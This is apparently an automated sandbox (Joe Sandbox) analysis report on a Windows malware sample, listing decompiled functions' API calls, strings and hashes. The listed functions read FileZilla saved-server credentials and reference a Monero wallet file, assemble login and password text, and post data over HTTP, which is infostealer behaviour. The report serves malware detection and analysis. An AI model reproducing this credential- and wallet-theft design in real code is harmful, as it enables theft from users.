GetProcAddress.KERNEL32(76910000,00756038), ref: 00B0A36A
GetProcAddress.KERNEL32(76910000,007689B8), ref: 00B0A382
GetProcAddress.KERNEL32(76910000,0076CFB0), ref: 00B0A39B
GetProcAddress.KERNEL32(76910000,0076D070), ref: 00B0A3B3
GetProcAddress.KERNEL32(76910000,00756378), ref: 00B0A3CB
GetProcAddress.KERNEL32(76910000,007560F8), ref: 00B0A3E4
GetProcAddress.KERNEL32(76910000,0076CFE0), ref: 00B0A3FC
GetProcAddress.KERNEL32(76910000,0076D058), ref: 00B0A414
GetProcAddress.KERNEL32(75B30000,00756238), ref: 00B0A436
GetProcAddress.KERNEL32(75B30000,0076CEC0), ref: 00B0A44E
GetProcAddress.KERNEL32(75B30000,0076CED8), ref: 00B0A466
GetProcAddress.KERNEL32(75B30000,0076CEF0), ref: 00B0A47F
GetProcAddress.KERNEL32(75B30000,0076CF08), ref: 00B0A497
GetProcAddress.KERNEL32(75670000,00756118), ref: 00B0A4B8
GetProcAddress.KERNEL32(75670000,00756338), ref: 00B0A4D1
GetProcAddress.KERNEL32(76AC0000,00756258), ref: 00B0A4F2
GetProcAddress.KERNEL32(76AC0000,0076CF68), ref: 00B0A50A
GetProcAddress.KERNEL32(6F4E0000,00756358), ref: 00B0A530
GetProcAddress.KERNEL32(6F4E0000,00756138), ref: 00B0A548
GetProcAddress.KERNEL32(6F4E0000,00756158), ref: 00B0A560
GetProcAddress.KERNEL32(6F4E0000,0076C9F8), ref: 00B0A579
GetProcAddress.KERNEL32(6F4E0000,007562D8), ref: 00B0A591
GetProcAddress.KERNEL32(6F4E0000,00756198), ref: 00B0A5A9
GetProcAddress.KERNEL32(6F4E0000,007563B8), ref: 00B0A5C2
GetProcAddress.KERNEL32(6F4E0000,007562B8), ref: 00B0A5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 00B0A5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 00B0A607
GetProcAddress.KERNEL32(75AE0000,0076C920), ref: 00B0A629
GetProcAddress.KERNEL32(75AE0000,007689F8), ref: 00B0A641
GetProcAddress.KERNEL32(75AE0000,0076CB78), ref: 00B0A659
GetProcAddress.KERNEL32(75AE0000,0076CAE8), ref: 00B0A672
GetProcAddress.KERNEL32(76300000,00756278), ref: 00B0A693
GetProcAddress.KERNEL32(6E9F0000,0076C938), ref: 00B0A6B4
GetProcAddress.KERNEL32(6E9F0000,00756398), ref: 00B0A6CD
GetProcAddress.KERNEL32(6E9F0000,0076CA10), ref: 00B0A6E5
GetProcAddress.KERNEL32(6E9F0000,0076C950), ref: 00B0A6FD

Strings

X`u, xrefs: 00B0A1CD
Xcu, xrefs: 00B0A522
8fu, xrefs: 00B09F8C
Xau, xrefs: 00B0A553
Xbu, xrefs: 00B0A4E5
xau, xrefs: 00B0A307
8gu, xrefs: 00B0A005
x`u, xrefs: 00B0A12E
8bu, xrefs: 00B0A428
InternetSetOptionA, xrefs: 00B0A5E5
xbu, xrefs: 00B0A686
8au, xrefs: 00B0A53B
xcu, xrefs: 00B0A3BE
8`u, xrefs: 00B0A35D
HttpQueryInfoA, xrefs: 00B0A5FC
xgu, xrefs: 00B09DD6
8cu, xrefs: 00B0A4C3

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 8`u$8au$8bu$8cu$8fu$8gu$HttpQueryInfoA$InternetSetOptionA$X`u$Xau$Xbu$Xcu$x`u$xau$xbu$xcu$xgu
API String ID: 2238633743-2107415722
Opcode ID: 3360c76d67ae0827feb1c9cec8575d294bb5c68cc4072c35adf4df20818aa681
Instruction ID: e88f771bba069bbb65ce81736fb39b478fd5a3737ea19c584196a87be00d832c
Opcode Fuzzy Hash: 3360c76d67ae0827feb1c9cec8575d294bb5c68cc4072c35adf4df20818aa681
Instruction Fuzzy Hash: 4262F7B6704300AFC344DFADED88D663BF9F79C701718851AA689C3364D679A842DB72

Function 00AF7710 Relevance: 100.3, APIs: 54, Strings: 3, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00AF7724
RtlAllocateHeap.NTDLL(00000000), ref: 00AF772B
lstrcat.KERNEL32(?,00769498), ref: 00AF78DB
lstrcat.KERNEL32(?,?), ref: 00AF78EF
lstrcat.KERNEL32(?,?), ref: 00AF7903
lstrcat.KERNEL32(?,?), ref: 00AF7917
lstrcat.KERNEL32(?,0076E5B8), ref: 00AF792B
lstrcat.KERNEL32(?,0076E4E0), ref: 00AF793F
lstrcat.KERNEL32(?,0076E438), ref: 00AF7952
lstrcat.KERNEL32(?,0076E618), ref: 00AF7966
lstrcat.KERNEL32(?,00769520), ref: 00AF797A
lstrcat.KERNEL32(?,?), ref: 00AF798E
lstrcat.KERNEL32(?,?), ref: 00AF79A2
lstrcat.KERNEL32(?,?), ref: 00AF79B6
lstrcat.KERNEL32(?,0076E5B8), ref: 00AF79C9
lstrcat.KERNEL32(?,0076E4E0), ref: 00AF79DD
lstrcat.KERNEL32(?,0076E438), ref: 00AF79F1
lstrcat.KERNEL32(?,0076E618), ref: 00AF7A04
lstrcat.KERNEL32(?,00769588), ref: 00AF7A18
lstrcat.KERNEL32(?,?), ref: 00AF7A2C
lstrcat.KERNEL32(?,?), ref: 00AF7A40
lstrcat.KERNEL32(?,?), ref: 00AF7A54
lstrcat.KERNEL32(?,0076E5B8), ref: 00AF7A68
lstrcat.KERNEL32(?,0076E4E0), ref: 00AF7A7B
lstrcat.KERNEL32(?,0076E438), ref: 00AF7A8F
lstrcat.KERNEL32(?,0076E618), ref: 00AF7AA3
lstrcat.KERNEL32(?,0076E8B0), ref: 00AF7AB6
lstrcat.KERNEL32(?,?), ref: 00AF7ACA
lstrcat.KERNEL32(?,?), ref: 00AF7ADE
lstrcat.KERNEL32(?,?), ref: 00AF7AF2
lstrcat.KERNEL32(?,0076E5B8), ref: 00AF7B06
lstrcat.KERNEL32(?,0076E4E0), ref: 00AF7B1A
lstrcat.KERNEL32(?,0076E438), ref: 00AF7B2D
lstrcat.KERNEL32(?,0076E618), ref: 00AF7B41
lstrcat.KERNEL32(?,0076E918), ref: 00AF7B55
lstrcat.KERNEL32(?,?), ref: 00AF7B69
lstrcat.KERNEL32(?,?), ref: 00AF7B7D
lstrcat.KERNEL32(?,?), ref: 00AF7B91
lstrcat.KERNEL32(?,0076E5B8), ref: 00AF7BA4
lstrcat.KERNEL32(?,0076E4E0), ref: 00AF7BB8
lstrcat.KERNEL32(?,0076E438), ref: 00AF7BCC
lstrcat.KERNEL32(?,0076E618), ref: 00AF7BDF
lstrcat.KERNEL32(?,0076E980), ref: 00AF7BF3
lstrcat.KERNEL32(?,?), ref: 00AF7C07
lstrcat.KERNEL32(?,?), ref: 00AF7C1B
lstrcat.KERNEL32(?,?), ref: 00AF7C2F
lstrcat.KERNEL32(?,0076E5B8), ref: 00AF7C43
lstrcat.KERNEL32(?,0076E4E0), ref: 00AF7C56
lstrcat.KERNEL32(?,0076E438), ref: 00AF7C6A
lstrcat.KERNEL32(?,0076E618), ref: 00AF7C7E

Part of subcall function 00AF75D0: lstrcat.KERNEL32(35441020,00B117FC), ref: 00AF7606
Part of subcall function 00AF75D0: lstrcat.KERNEL32(35441020,00000000), ref: 00AF7648
Part of subcall function 00AF75D0: lstrcat.KERNEL32(35441020, : ), ref: 00AF765A
Part of subcall function 00AF75D0: lstrcat.KERNEL32(35441020,00000000), ref: 00AF768F
Part of subcall function 00AF75D0: lstrcat.KERNEL32(35441020,00B11804), ref: 00AF76A0
Part of subcall function 00AF75D0: lstrcat.KERNEL32(35441020,00000000), ref: 00AF76D3
Part of subcall function 00AF75D0: lstrcat.KERNEL32(35441020,00B11808), ref: 00AF76ED
Part of subcall function 00AF75D0: task.LIBCPMTD ref: 00AF76FB

lstrcat.KERNEL32(?,0076EC38), ref: 00AF7E0B
lstrcat.KERNEL32(?,0076D148), ref: 00AF7E1E
lstrlen.KERNEL32(35441020), ref: 00AF7E2B
lstrlen.KERNEL32(35441020), ref: 00AF7E3B

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Strings

v, xrefs: 00AF7931, 00AF79CF, 00AF7A6E, 00AF7B0C, 00AF7BAA, 00AF7C49
8v, xrefs: 00AF7945, 00AF79E3, 00AF7A81, 00AF7B20, 00AF7BBE, 00AF7C5C
8v, xrefs: 00AF7DFD

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID: 8v$8v$v
API String ID: 928082926-943258244
Opcode ID: adaa0ccf47ec6c58b6ace4b1e9cd5f10dd64abd79a55ba676618dea408e30568
Instruction ID: f85fe9e7dcd6c2e78f7ed5b733b8d81c999e59f802c87eafc21c274bd9f82427
Opcode Fuzzy Hash: adaa0ccf47ec6c58b6ace4b1e9cd5f10dd64abd79a55ba676618dea408e30568
Instruction Fuzzy Hash: 90322FB2D00318ABCB15EBA4DC85DEE777CBB44700F444A88F259A2190EE75E789CF61

Function 00B00250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
Part of subcall function 00AF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
Part of subcall function 00AF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
Part of subcall function 00AF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
Part of subcall function 00AF99C0: LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
Part of subcall function 00AF99C0: CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

Part of subcall function 00B08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B08E52

GetProcessHeap.KERNEL32(00000000,000F423F,00B10DBA,00B10DB7,00B10DB6,00B10DB3), ref: 00B00362
RtlAllocateHeap.NTDLL(00000000), ref: 00B00369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00B00385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B00393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00B003CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B003DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00B00419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B00427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00B00463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B00475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B00502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B0051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B00532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B0054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00B00562
lstrcat.KERNEL32(?,profile: null), ref: 00B00571
lstrcat.KERNEL32(?,url: ), ref: 00B00580
lstrcat.KERNEL32(?,00000000), ref: 00B00593
lstrcat.KERNEL32(?,00B11678), ref: 00B005A2
lstrcat.KERNEL32(?,00000000), ref: 00B005B5
lstrcat.KERNEL32(?,00B1167C), ref: 00B005C4
lstrcat.KERNEL32(?,login: ), ref: 00B005D3
lstrcat.KERNEL32(?,00000000), ref: 00B005E6
lstrcat.KERNEL32(?,00B11688), ref: 00B005F5
lstrcat.KERNEL32(?,password: ), ref: 00B00604
lstrcat.KERNEL32(?,00000000), ref: 00B00617
lstrcat.KERNEL32(?,00B11698), ref: 00B00626
lstrcat.KERNEL32(?,00B1169C), ref: 00B00635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B10DB2), ref: 00B0068E

Strings

<Pass encoding="base64">, xrefs: 00B0045A
url: , xrefs: 00B00577
<Port>, xrefs: 00B003C6
login: , xrefs: 00B005CA
<Host>, xrefs: 00B0037C
<User>, xrefs: 00B00410
profile: null, xrefs: 00B00568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00B002A4
browser: FileZilla, xrefs: 00B00559
password: , xrefs: 00B005FB

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 701f35b4760143d05034059364e08d148802d482c1d5f2e2ecc76fa81c5d0aa6
Instruction ID: ffc75a0340393e0db9397704605d6a4bdc580877e6319dbe6670b21d25a48e0c
Opcode Fuzzy Hash: 701f35b4760143d05034059364e08d148802d482c1d5f2e2ecc76fa81c5d0aa6
Instruction Fuzzy Hash: 1FD12F71A10308ABCB04FBE4DD96EEE7BB8EF54300F508998F502A61D1DF75AA45CB61

Function 00AF5100 Relevance: 53.1, APIs: 19, Strings: 11, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AF4839
Part of subcall function 00AF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AF4849

lstrlen.KERNEL32(00000000), ref: 00AF5193

Part of subcall function 00B08EA0: CryptBinaryToStringA.CRYPT32(00000000,00AF5184,40000001,00000000,00000000,?,00AF5184), ref: 00B08EC0

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00AF5207
StrCmpCA.SHLWAPI(?,0076ED48), ref: 00AF5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AF5340
HttpOpenRequestA.WININET(00000000,0076ED78,?,0076E588,00000000,00000000,00400100,00000000), ref: 00AF53A4

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0076ECF8,00000000,?,0076DA50,00000000,?,00B119DC,00000000,?,00B051CF), ref: 00AF5737
lstrlen.KERNEL32(00000000), ref: 00AF574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00AF575C
RtlAllocateHeap.NTDLL(00000000), ref: 00AF5763
lstrlen.KERNEL32(00000000), ref: 00AF5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00AF57A9
lstrlen.KERNEL32(00000000), ref: 00AF57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00AF57E1
lstrlen.KERNEL32(00000000,?,?), ref: 00AF580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00AF5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00AF584D
InternetCloseHandle.WININET(00000000), ref: 00AF58B1
InternetCloseHandle.WININET(00000000), ref: 00AF58BE
InternetCloseHandle.WININET(00000000), ref: 00AF58C8

Strings

------, xrefs: 00AF53B7
Hv, xrefs: 00AF5217
------, xrefs: 00AF54F9
", xrefs: 00AF5706
xv, xrefs: 00AF5396
Hv, xrefs: 00AF559A
--, xrefs: 00AF5280
", xrefs: 00AF5482
------, xrefs: 00AF563B
------, xrefs: 00AF5297
", xrefs: 00AF55C4

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------$Hv$Hv$xv
API String ID: 1224485577-2566530844
Opcode ID: 8e9a742a4b9efc547c89e7d7f9d0a29c428864f9d7ffbe62ea64f4bf2036284d
Instruction ID: 729518805b772e43ba40acfb33de5ea6ec38984f07f850b52fe89f51d9f763c6
Opcode Fuzzy Hash: 8e9a742a4b9efc547c89e7d7f9d0a29c428864f9d7ffbe62ea64f4bf2036284d
Instruction Fuzzy Hash: 00320F71920318AADB14EBA4DC95FEEB7B8BF54700F4045D9B106B21D2EF706A49CF62

Function 00AF5960 Relevance: 42.5, APIs: 17, Strings: 7, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AF4839
